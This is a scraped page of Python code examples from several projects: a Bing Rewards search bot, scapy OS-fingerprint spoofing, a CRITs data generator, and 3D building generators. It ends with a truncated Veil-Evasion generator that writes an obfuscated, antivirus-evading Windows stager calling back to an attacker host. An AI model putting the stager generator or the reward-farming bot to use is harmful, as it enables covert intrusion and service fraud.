        rewardCost      = 1 # Looks like it's now always X points per one search
        searchesCount = maxRewardsCount * rewardCost / rewardsCount

# adjust to the current progress
# reward.progressCurrent is now returning current points, not current searches
# so divide it by points per search (rewardsCount) to get correct search count needed
        searchesCount -= (reward.progressCurrent * rewardCost) / rewardsCount

        headers = self.httpHeaders

        if reward.tp == bfp.Reward.Type.SEARCH_PC or reward.tp == bfp.Reward.Type.SEARCH_AND_EARN:
            headers["User-Agent"] = self.userAgents.pc
            searchesCount += self.addSearchesDesktop + random.randint(0, self.addSearchesDesktopSalt)
            print
            print "Running PC searches"
            print
        elif reward.tp == bfp.Reward.Type.SEARCH_MOBILE:
            headers["User-Agent"] = self.userAgents.mobile
            searchesCount += self.addSearchesMobile + random.randint(0, self.addSearchesMobileSalt)
            print
            print "Running mobile searches"
            print
        else:
            res.isError = True
            res.message = "Don't know how to process this search"
            return res

        if verbose:
            print("User-Agent: {0}".format(bingCommon.HEADERS["User-Agent"]))
            print

        # Import the query generator
        try:
            qg = importlib.import_module(self.queryGenerator, package=None)
            queryGenerator = qg.queryGenerator(self)
        except ImportError:
            raise TypeError("{0} is not a module".format(self.queryGenerator))

        # generate a set of queries to run
        queries = queryGenerator.generateQueries(searchesCount, history)

        if len(queries) < searchesCount:
            print "Warning: not enough queries to run were generated!"
            print "Requested:", searchesCount
            print "Generated:", len(queries)

        successfullQueries = 0
        i = 1
        totalQueries = len(queries)

        for query in queries:
            if i > 1:
# sleep some time between queries (don't worry Bing! ;) )
                t = self.betweenQueriesInterval + random.uniform(0, self.betweenQueriesSalt)
                time.sleep(t)

            url = BING_QUERY_URL + urllib.quote_plus(query.encode('utf-8'))

            print "%s - %2d/%2d - Search: %s" % (helpers.getLoggingTime(), i, totalQueries, query)

            request = urllib2.Request(url = url, headers = bingCommon.HEADERS)
            with self.opener.open(request) as response:
                page = helpers.getResponseBody(response)

# check for the successfull marker
            found = page.find(BING_QUERY_SUCCESSFULL_RESULT_MARKER_PC) != -1 \
                 or page.find(BING_QUERY_SUCCESSFULL_RESULT_MARKER_MOBILE) != -1

            if not found:
                filename = helpers.dumpErrorPage(page)
                print "Warning! Query:"
                print "\t" + query
                print "returned no results, check " + filename + " file for more information"

            else:
                successfullQueries += 1

                # randomly open a link
                if self.openLinkChance > random.random():
                    # get IG number
                    ig_number = IG_NUMBER_PATTERN.search(page)
                    if ig_number is not None:
                        ig_number = ig_number.group(1)
                        ig_searches = IG_SEARCHES_PATTERN.findall(page)
                        # make sure we have at least 1 search
                        if len(ig_searches) > 0:
                            # get a random link to open
                            ig_max_rand = min(self.openTopLinkRange, len(ig_searches) - 1)
                            # number of the link we will use
                            ig_link_num = random.randint(0, ig_max_rand)
                            ig_link = "{0}?IG={1}&{2}".format(
                                IG_PING_LINK,
                                urllib.quote_plus(ig_number),
                                urllib.quote_plus(ig_searches[ig_link_num][1])
                            )

                            # sleep a reasonable amount of time before clicking the link
                            # use defaults to save space in config
                            t = random.uniform(0.75, 3.0)
                            time.sleep(t)

                            # open the random link
                            request = urllib2.Request(url = ig_link, headers = bingCommon.HEADERS)
                            request.headers["Referer"] = response.url
                            self.opener.open(request)

                            if verbose:
                                print("Followed Link {}".format(ig_link_num + 1))
                        else:
                            filename = helpers.dumpErrorPage(page)
                            print "Warning! No searches were found on search results page"
                            print "Check {0} file for more information".format(filename)
                    else:
                        filename = helpers.dumpErrorPage(page)
                        print "Warning! Could not find search result IG number"
                        print "Check {0} file for more information".format(filename)

            i += 1

        if successfullQueries < searchesCount:
            res.message = str(successfullQueries) + " out of " + str(searchesCount) + " requests were successfully processed"
        else:
            res.message = "All " + str(successfullQueries) + " requests were successfully processed"

        # reset header to pc so pc pages return in getting life time points
        headers["User-Agent"] = self.userAgents.pc

        return res

Example 7

Project: scapy
Source File: p0f.py
View license
def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None,
                    extrahops=0, mtu=1500, uptime=None):
    """Modifies pkt so that p0f will think it has been sent by a
specific OS.  If osdetails is None, then we randomly pick up a
personality matching osgenre. If osgenre and signature are also None,
we use a local signature (using p0f_getlocalsigs). If signature is
specified (as a tuple), we use the signature.

For now, only TCP Syn packets are supported.
Some specifications of the p0f.fp file are not (yet) implemented."""
    pkt = pkt.copy()
    #pkt = pkt.__class__(str(pkt))
    while pkt.haslayer(IP) and pkt.haslayer(TCP):
        pkt = pkt.getlayer(IP)
        if isinstance(pkt.payload, TCP):
            break
        pkt = pkt.payload
    
    if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP):
        raise TypeError("Not a TCP/IP packet")
    
    if uptime is None:
        uptime = random.randint(120,100*60*60*24*365)
    
    db = p0f_selectdb(pkt.payload.flags)
    if osgenre:
        pb = db.get_base()
        if pb is None:
            pb = []
        pb = filter(lambda x: x[6] == osgenre, pb)
        if osdetails:
            pb = filter(lambda x: x[7] == osdetails, pb)
    elif signature:
        pb = [signature]
    else:
        pb = p0f_getlocalsigs()[db]
    if db == p0fr_kdb:
        # 'K' quirk <=> RST+ACK
        if pkt.payload.flags & 0x4 == 0x4:
            pb = filter(lambda x: 'K' in x[5], pb)
        else:
            pb = filter(lambda x: 'K' not in x[5], pb)
    if not pb:
        raise Scapy_Exception("No match in the p0f database")
    pers = pb[random.randint(0, len(pb) - 1)]
    
    # options (we start with options because of MSS)
    ## TODO: let the options already set if they are valid
    options = []
    if pers[4] != '.':
        for opt in pers[4].split(','):
            if opt[0] == 'M':
                # MSS might have a maximum size because of window size
                # specification
                if pers[0][0] == 'S':
                    maxmss = (2L**16-1) / int(pers[0][1:])
                else:
                    maxmss = (2L**16-1)
                # If we have to randomly pick up a value, we cannot use
                # scapy RandXXX() functions, because the value has to be
                # set in case we need it for the window size value. That's
                # why we use random.randint()
                if opt[1:] == '*':
                    options.append(('MSS', random.randint(1,maxmss)))
                elif opt[1] == '%':
                    coef = int(opt[2:])
                    options.append(('MSS', coef*random.randint(1,maxmss/coef)))
                else:
                    options.append(('MSS', int(opt[1:])))
            elif opt[0] == 'W':
                if opt[1:] == '*':
                    options.append(('WScale', RandByte()))
                elif opt[1] == '%':
                    coef = int(opt[2:])
                    options.append(('WScale', coef*RandNum(min=1,
                                                           max=(2L**8-1)/coef)))
                else:
                    options.append(('WScale', int(opt[1:])))
            elif opt == 'T0':
                options.append(('Timestamp', (0, 0)))
            elif opt == 'T':
                if 'T' in pers[5]:
                    # FIXME: RandInt() here does not work (bug (?) in
                    # TCPOptionsField.m2i often raises "OverflowError:
                    # long int too large to convert to int" in:
                    #    oval = struct.pack(ofmt, *oval)"
                    # Actually, this is enough to often raise the error:
                    #    struct.pack('I', RandInt())
                    options.append(('Timestamp', (uptime, random.randint(1,2**32-1))))
                else:
                    options.append(('Timestamp', (uptime, 0)))
            elif opt == 'S':
                options.append(('SAckOK', ''))
            elif opt == 'N':
                options.append(('NOP', None))
            elif opt == 'E':
                options.append(('EOL', None))
            elif opt[0] == '?':
                if int(opt[1:]) in TCPOptions[0]:
                    optname = TCPOptions[0][int(opt[1:])][0]
                    optstruct = TCPOptions[0][int(opt[1:])][1]
                    options.append((optname,
                                    struct.unpack(optstruct,
                                                  RandString(struct.calcsize(optstruct))._fix())))
                else:
                    options.append((int(opt[1:]), ''))
            ## FIXME: qqP not handled
            else:
                warning("unhandled TCP option " + opt)
            pkt.payload.options = options
    
    # window size
    if pers[0] == '*':
        pkt.payload.window = RandShort()
    elif pers[0].isdigit():
        pkt.payload.window = int(pers[0])
    elif pers[0][0] == '%':
        coef = int(pers[0][1:])
        pkt.payload.window = coef * RandNum(min=1,max=(2L**16-1)/coef)
    elif pers[0][0] == 'T':
        pkt.payload.window = mtu * int(pers[0][1:])
    elif pers[0][0] == 'S':
        ## needs MSS set
        MSS = filter(lambda x: x[0] == 'MSS', options)
        if not filter(lambda x: x[0] == 'MSS', options):
            raise Scapy_Exception("TCP window value requires MSS, and MSS option not set")
        pkt.payload.window = filter(lambda x: x[0] == 'MSS', options)[0][1] * int(pers[0][1:])
    else:
        raise Scapy_Exception('Unhandled window size specification')
    
    # ttl
    pkt.ttl = pers[1]-extrahops
    # DF flag
    pkt.flags |= (2 * pers[2])
    ## FIXME: ss (packet size) not handled (how ? may be with D quirk
    ## if present)
    # Quirks
    if pers[5] != '.':
        for qq in pers[5]:
            ## FIXME: not handled: P, I, X, !
            # T handled with the Timestamp option
            if qq == 'Z': pkt.id = 0
            elif qq == 'U': pkt.payload.urgptr = RandShort()
            elif qq == 'A': pkt.payload.ack = RandInt()
            elif qq == 'F':
                if db == p0fo_kdb:
                    pkt.payload.flags |= 0x20 # U
                else:
                    pkt.payload.flags |= RandChoice(8, 32, 40) #P / U / PU
            elif qq == 'D' and db != p0fo_kdb:
                pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) # XXX p0fo.fp
            elif qq == 'Q': pkt.payload.seq = pkt.payload.ack
            #elif qq == '0': pkt.payload.seq = 0
        #if db == p0fr_kdb:
        # '0' quirk is actually not only for p0fr.fp (see
        # packet2p0f())
    if '0' in pers[5]:
        pkt.payload.seq = 0
    elif pkt.payload.seq == 0:
        pkt.payload.seq = RandInt()
    
    while pkt.underlayer:
        pkt = pkt.underlayer
    return pkt

Example 8

Project: crits-adapter
Source File: datagen.py
View license
def inject_crits_sample_data(config, target=None, datatype=None):
    '''inject randomly generated sample data into crits target'''
    global datatypes
    observable_types = list()
    observable_types.extend(datatypes)
    observable_types.remove('mixed')
    observable_types.remove('indicator')
    endpoint = None
    if datatype == 'ip':
        endpoint = 'ips'
    elif datatype == 'domain':
        endpoint = 'domains'
    elif datatype == 'email':
        endpoint = 'emails'
    elif datatype == 'filehash':
        endpoint = 'samples'
    elif datatype == 'indicator':
        endpoint = 'indicators'
    if datatype in observable_types:
        # single observable types
        i = 0
        while i < config['crits']['datagen']['indicator_count']:
            (id_, success) = \
                crits.crits_inbox(config, target, endpoint,
                                   generate_crits_json(config, datatype))
            if success:
                i += 1
            else:
                print('error inboxing crits sample data to %s - exiting!'
                      % target)
    elif datatype == 'indicator':
        # indicator linked to 5-25 mixed observables
        endpoint_trans = {'emails': 'Email', 'ips': 'IP', 'samples': 'Sample',
                          'domains': 'Domain'}
        i = 0
        while i < config['crits']['datagen']['indicator_count']:
            # generate between 5-25 observables to be linked to a
            # crits indicator
            observables_dict = dict()
            observable_count = random.randint(5, 25)
            j = 0
            while j < observable_count:
                observable_type_index = \
                    random.randint(0, len(observable_types) - 1)
                type_ = observable_types[observable_type_index]
                if type_ == 'ip':
                    endpoint = 'ips'
                elif type_ == 'domain':
                    endpoint = 'domains'
                elif type_ == 'email':
                    endpoint = 'emails'
                elif type_ == 'filehash':
                    endpoint = 'samples'
                (id_, success) = \
                    crits.crits_inbox(config, target, endpoint,
                                       generate_crits_json(config, type_))
                if success:
                    j += 1
                    observables_dict[id_] = endpoint
                else:
                    print('error inboxing crits sample %s indicator '
                          'observable to %s - exiting!' % (type_, target))
            # now that we've got random observables in crits, inbox an
            # indicator...
            (id_, success) = \
                crits.crits_inbox(config, target, 'indicators',
                                   generate_crits_indicator_json(
                                       config, observables_dict))
            if success:
                i += 1
                for k in observables_dict.keys():
                    json = dict()
                    json['left_type'] = 'Indicator'
                    json['left_id'] = id_
                    json['right_type'] = endpoint_trans[observables_dict[k]]
                    json['right_id'] = k
                    json['rel_type'] = 'Contains'
                    json['rel_confidence'] = 'unknown'
                    (id_, success) = crits.crits_inbox(config, target,
                                                        'relationships', json)
            else:
                print('error inboxing relationship for crits sample indicator '
                      'to %s - exiting!' % target)
    elif datatype == 'mixed':
        # mixed observables
        i = 0
        while i < config['crits']['datagen']['indicator_count']:
            observable_type_index = \
                random.randint(0, len(observable_types) - 1)
            type_ = observable_types[observable_type_index]
            if type_ == 'ip':
                endpoint = 'ips'
            elif type_ == 'domain':
                endpoint = 'domains'
            elif type_ == 'email':
                endpoint = 'emails'
            elif type_ == 'filehash':
                endpoint = 'samples'
            (id_, success) = \
                crits.crits_inbox(config, target, endpoint,
                                   generate_crits_json(
                                       config, type_))
            if success:
                i += 1
            else:
                print('error inboxing crits sample data to %s - exiting!'
                      % target)

Example 9

Project: Random3Dcity
Source File: randomiseCity.py
View license
def roofwindow(rtype, xs, ys, zs, h=None, r=None):
    """Procedural modelling of roof windows, similar as to dormers."""
    roofwindow = []
    if rtype == 'Gabled':
        if ys < 6:
            norfwins = 1
        else:
            norfwins = random.randint(1, 2)
        if float(h.text) > 3.0:
            rfwinWidth = round(random.uniform(.8,1.3), 2)
            rfwinHeight = round(random.uniform(1,1.2), 2)  
            rfwinOriginY = round(random.uniform(0.1, 1.0), 2) 
        else:
            rfwinWidth = round(random.uniform(.5,1.0), 2)
            rfwinHeight = round(random.uniform(.5,1.0), 2)  
            rfwinOriginY = round(random.uniform(0.1, 0.5), 2)  
        for i in range(0, norfwins):
            if norfwins == 1:
                rfwinOriginX = round(float(ys)/2.0 ,2) - round(rfwinWidth/2.0, 2)
            elif norfwins == 2:
                if i == 0:
                    rfwinOriginX = round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)
                elif i == 1:
                    rfwinOriginX = round(float(ys)/2.0, 2) + round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)

            thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 1}
            thisrfwin2 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 3}
            roofwindow.append(thisrfwin1)
            roofwindow.append(thisrfwin2)

    elif rtype == 'Shed':
        if ys < 6:
            norfwins = 1
        else:
            norfwins = random.randint(1, 2)
        rfwinWidth = round(random.uniform(.8,1.3), 2)
        rfwinHeight = round(random.uniform(1,1.2), 2)  
        rfwinOriginY = round(random.uniform(0.1, 1.0), 2)  
        for i in range(0, norfwins):
            if norfwins == 1:
                rfwinOriginX = round(float(ys)/2.0 ,2) - round(rfwinWidth/2.0, 2)
            elif norfwins == 2:
                if i == 0:
                    rfwinOriginX = round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)
                elif i == 1:
                    rfwinOriginX = round(float(ys)/2.0, 2) + round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)

            thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 1}
            roofwindow.append(thisrfwin1)

    elif rtype == 'Hipped' or rtype == 'Pyramidal':
        if ys < 6:
            norfwins = 1
        else:
            norfwins = 1#random.randint(1, 2)
        rfwinWidth = round(random.uniform(.8,1.3), 2)
        rfwinHeight = round(random.uniform(1,1.2), 2)  
        rfwinOriginY = round(random.uniform(0.1, 1.0), 2)  
        for i in range(0, norfwins):
            if norfwins == 1:
                rfwinOriginX = round(float(ys)/2.0 ,2) - round(rfwinWidth/2.0, 2)
            elif norfwins == 2:
                if i == 0:
                    rfwinOriginX = round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)
                elif i == 1:
                    rfwinOriginX = round(float(ys)/2.0, 2) + round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)

            thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 1}
            thisrfwin2 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 3}            
            roofwindow.append(thisrfwin1)
            roofwindow.append(thisrfwin2)

        if r > 1 and xs > 4:
            if xs < 6:
                norfwins = 1
            else:
                norfwins = 1 #random.randint(1, 2)
            for i in range(0, norfwins):
                if norfwins == 1:
                    rfwinOriginX = round(float(xs)/2.0, 2) - round(rfwinWidth/2.0, 2)
                elif norfwins == 2:
                    if i == 0:
                        rfwinOriginX = round(float(xs)/4.0, 2) - round(rfwinWidth/2.0, 2)
                    elif i == 1:
                        rfwinOriginX = round(float(xs)/2.0, 2) + round(float(xs)/4.0, 2) - round(rfwinWidth/2.0, 2)

                thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 0}
                thisrfwin2 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 2}            
                roofwindow.append(thisrfwin1)
                roofwindow.append(thisrfwin2)

    elif rtype == 'Flat':
        if ys < 6:
            norfwins = 2
        else:
            norfwins = random.choice([2, 4])
        rfwinWidth = round(random.uniform(.8,1.2), 2)
        rfwinHeight = round(random.uniform(1,1.2), 2)  
        rfwinOriginY = round(random.uniform(0.5, 1.0), 2)  
        for i in range(0, norfwins):
            if norfwins == 2:
                rfwinOriginX = round(float(ys)/2.0, 2) - round(rfwinWidth/2.0, 2)
                if i == 0:
                    thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 1}
                elif i == 1:
                    rfwoy_second = float(xs) - rfwinHeight - rfwinOriginY
                    thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwoy_second, 'side' : 1}
            elif norfwins == 4:
                if i == 0 or i == 2:
                    if i == 0:
                        rfwinOriginX = round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)
                    elif i == 2:
                        rfwinOriginX = 3*round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)
                    thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwinOriginY, 'side' : 1}
                elif i == 1 or i == 3:
                    if i == 1:
                        rfwinOriginX = round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)#round(float(ys)/2.0, 2) + round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)
                    elif i == 3:
                        rfwinOriginX = round(float(ys)/2.0, 2) + round(float(ys)/4.0, 2) - round(rfwinWidth/2.0, 2)
                    rfwoy_second = float(xs) - rfwinHeight - rfwinOriginY
                    thisrfwin1 = {'rfwinWidth' : rfwinWidth, 'rfwinHeight' : rfwinHeight, 'rfwinOriginX': rfwinOriginX, 'rfwinOriginY' : rfwoy_second, 'side' : 1}

            roofwindow.append(thisrfwin1)

    return roofwindow

Example 10

Project: Random3Dcity
Source File: randomiseCity.py
View license
def randomwindow(side, fl, xs, ys, zs, floorHeight, fixed=None):
    """Randomly generate windows of a building. If fixed, use these dimensions."""
    res = []
    
    if fixed:
        #-- Determine the number of windows, their origin and side
        if side == 0 or side == 2:

            w = {}
            w['width'] = fixed[0]
            w['height'] = fixed[1]
            maxwindows = fixed[2]
            woriginY = (fl - 1) * floorHeight + fixed[3]
            nowindows = random.randint(1, maxwindows)
            firstW = round((xs - maxwindows * w['width'])/float(maxwindows + 1), 2)
            for i in range(1, nowindows+1):
                if i == 0:
                    continue
                w = {}
                w['width'] = fixed[0]
                w['height'] = fixed[1]             
                if nowindows > 1:
                    distW = round((xs - nowindows * w['width'] - 2 * firstW)/float(nowindows - 1), 2)
                else:
                    distW = 0
                w['originX'] = firstW + (i - 1) * distW + (i - 1) * w['width']
                w['originY'] = woriginY
                w['side'] = str(side)
                res.append(w)

        elif side == 1 or side == 3:

            w = {}
            w['width'] = fixed[0]
            w['height'] = fixed[1]
            maxwindows = fixed[2]
            woriginY = (fl - 1) * floorHeight + fixed[3]
            nowindows = random.randint(1, maxwindows)
            firstW = round((ys - maxwindows * w['width'])/float(maxwindows + 1), 2)
            for i in range(1, nowindows+1):
                if i == 0:
                    continue
                w = {}
                w['width'] = fixed[0]
                w['height'] = fixed[1]
                if nowindows > 1:
                    distW = round((ys - nowindows * w['width'] - 2 * firstW)/float(nowindows - 1), 2)
                else:
                    distW = 0
                w['originX'] = firstW + (i - 1) * distW + (i - 1) * w['width']
                w['originY'] = woriginY
                w['side'] = str(side)
                res.append(w)

        return res

    else:
        raise ValueError("Not supported at the moment")
        #-- Determine the number of windows
        if side == 0 or side == 2:
            if xs <= 3:
                #-- Same originY for all windows on that side of the building on that floor
                woriginY = (fl-1) * 3 + round(random.uniform(1,1.5), 2)
                nowindows = random.randint(0, 1)
                for i in range(0, nowindows+1):
                    if i == 0:
                        continue
                    w = {}
                    w['width'] = round(random.uniform(0.3,2), 2)
                    w['height'] = round(random.uniform(0.3,2), 2)
                    w['originX'] = round(random.uniform(0.1,xs-w['width']-0.1), 2)
                    w['originY'] = woriginY
                    w['side'] = str(side)
                    res.append(w)
            elif xs > 3:
                woriginY = (fl-1) * 3 + round(random.uniform(1,1.5), 2)
                nowindows = random.randint(1, 3)
                print(nowindows)
                for i in range(1, nowindows+1):
                    if i == 0:
                        continue
                    w = {}
                    w['width'] = round(random.uniform(0.3,2), 2)
                    w['height'] = round(random.uniform(0.3,2), 2)
                    #w['originX'] = round(random.uniform(0.1,i*.5*(xs/float(nowindows))-w['width']-0.1), 2)
                    w['originX'] = round(random.uniform(0.1 + (i-1) * (xs/float(nowindows)), i*(xs/float(nowindows))-w['width']-0.1), 2)
                    w['originY'] = woriginY
                    w['side'] = str(side)
                    res.append(w)

        elif side == 1 or side == 3:
            if ys <= 3:
                woriginY = (fl-1) * 3 + round(random.uniform(1,1.5), 2)
                nowindows = random.randint(0, 1)
                for i in range(0, nowindows+1):
                    if i == 0:
                        continue                
                    w = {}
                    w['width'] = round(random.uniform(0.3,2), 2)
                    w['height'] = round(random.uniform(0.3,2), 2)
                    w['originX'] = round(random.uniform(0.1,ys-w['width']-0.1), 2)
                    w['originY'] = woriginY
                    w['side'] = str(side)
                    res.append(w)
            elif ys > 3:
                woriginY = (fl-1) * 3 + round(random.uniform(1,1.5), 2)
                nowindows = random.randint(1, 3)
                print(nowindows)
                for i in range(1, nowindows+1):
                    if i == 0:
                        continue               
                    w = {}
                    w['width'] = round(random.uniform(0.3,1.0), 2)
                    w['height'] = round(random.uniform(0.3,1.0), 2)
                    w['originX'] = round(random.uniform(0.1 + (i-1) * (ys/float(nowindows)), i*(ys/float(nowindows))-w['width']-0.1), 2)
                    print(i, w['originX'])
                    w['originY'] = woriginY
                    w['side'] = str(side)
                    res.append(w)

        return res

Example 11

Project: Veil-Evasion
Source File: rev_http.py
View license
    def generate(self):

        sumvalue_name = helpers.randomString()
        checksum_name = helpers.randomString()
        winsock_init_name = helpers.randomString()
        punt_name = helpers.randomString()
        wsconnect_name = helpers.randomString()

        # the real includes needed
        includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"]

        # max length string for obfuscation
        global_max_string_length = 10000
        max_string_length = random.randint(100,global_max_string_length)
        max_num_strings = 10000

        # TODO: add in more string processing functions
        randName1 = helpers.randomString() # reverse()
        randName2 = helpers.randomString() # doubles characters
        stringModFunctions = [  (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)),
                                (randName2, "char* %s(char* s){ char *result =  malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2))
                            ]

        random.shuffle(stringModFunctions)

        # obfuscation "logical nop" string generation functions
        randString1 = helpers.randomString(50)
        randName1 = helpers.randomString()
        randVar1 = helpers.randomString()
        randName2 = helpers.randomString()
        randVar2 = helpers.randomString()
        randVar3 = helpers.randomString()
        randName3 = helpers.randomString()
        randVar4 = helpers.randomString()
        randVar5 = helpers.randomString()

        stringGenFunctions = [  (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])),
                                (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)),
                                (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5))
                             ]
        random.shuffle(stringGenFunctions)

        # obfuscation - add in our fake includes
        fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>",
                        "#include <limits.h>", "#include <assert.h>"]
        t = random.randint(1,7)
        for x in xrange(1, random.randint(1,7)):
            includes.append(fake_includes[x])

        # shuffle up real/fake includes
        random.shuffle(includes)

        code = "#define _WIN32_WINNT 0x0500\n"
        code += "#include <winsock2.h>\n"
        code += "\n".join(includes) + "\n"

        #string mod functions
        code += stringModFunctions[0][1] + "\n"
        code += stringModFunctions[1][1] + "\n"

        # build the sumValue function
        string_arg_name = helpers.randomString()
        retval_name = helpers.randomString()
        code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name)
        code += "int %s=0; int i;" %(retval_name)
        code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name)
        code += "return (%s %% 256);}\n" %(retval_name)

        # build the winsock_init function
        wVersionRequested_name = helpers.randomString()
        wsaData_name = helpers.randomString()
        code += "void %s() {" % (winsock_init_name)
        code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name)
        code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name)

        # first logical nop string function
        code += stringGenFunctions[0][1] + "\n"

        # build punt function
        my_socket_name = helpers.randomString()
        code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name)
        code += "closesocket(%s);" %(my_socket_name)
        code += "WSACleanup();"
        code += "exit(1);}\n"

        # second logical nop string function
        code += stringGenFunctions[1][1] + "\n"

        # build the reverse_http uri checksum function
        randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62))
        characters_name = helpers.randomString()
        string_var_name = helpers.randomString()
        code += "char* %s(){" %(checksum_name)
        code += "srand (time(NULL));int i;"
        code += "char %s[] = \"%s\";" %(characters_name, randchars)
        code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name)
        code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name)
        code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name)
        code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name)

        # third logical nop string function
        code += stringGenFunctions[2][1] + "\n"

        # build wsconnect function
        target_name = helpers.randomString()
        sock_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name)
        code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name)
        code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name);
        code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0])
        code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name)
        code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name)
        code += "%s.sin_family = AF_INET;" %(sock_name)
        code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32))
        code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name)
        code += "return %s;}\n" %(my_socket_name)

        # build main() code
        size_name = helpers.randomString()
        buffer_name = helpers.randomString()
        function_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        count_name = helpers.randomString()
        request_buf_name = helpers.randomString()
        buf_counter_name = helpers.randomString()
        bytes_read_name = helpers.randomString()

        # obfuscation stuff
        char_array_name_1 = helpers.randomString()
        number_of_strings_1 = random.randint(1,max_num_strings)
        char_array_name_2 = helpers.randomString()
        number_of_strings_2 = random.randint(1,max_num_strings)
        char_array_name_3 = helpers.randomString()
        number_of_strings_3 = random.randint(1,max_num_strings)

        # main method code
        code += "int main(int argc, char * argv[]) {"
        code += "char * %s; int i;" %(buffer_name)

        # obfuscation
        code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)

        # malloc our first string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length))

        # call the winsock init function
        code += "%s();" %(winsock_init_name)

        # obfuscation
        code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)

        # create our socket
        code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name)

        # malloc our second string obfuscation array
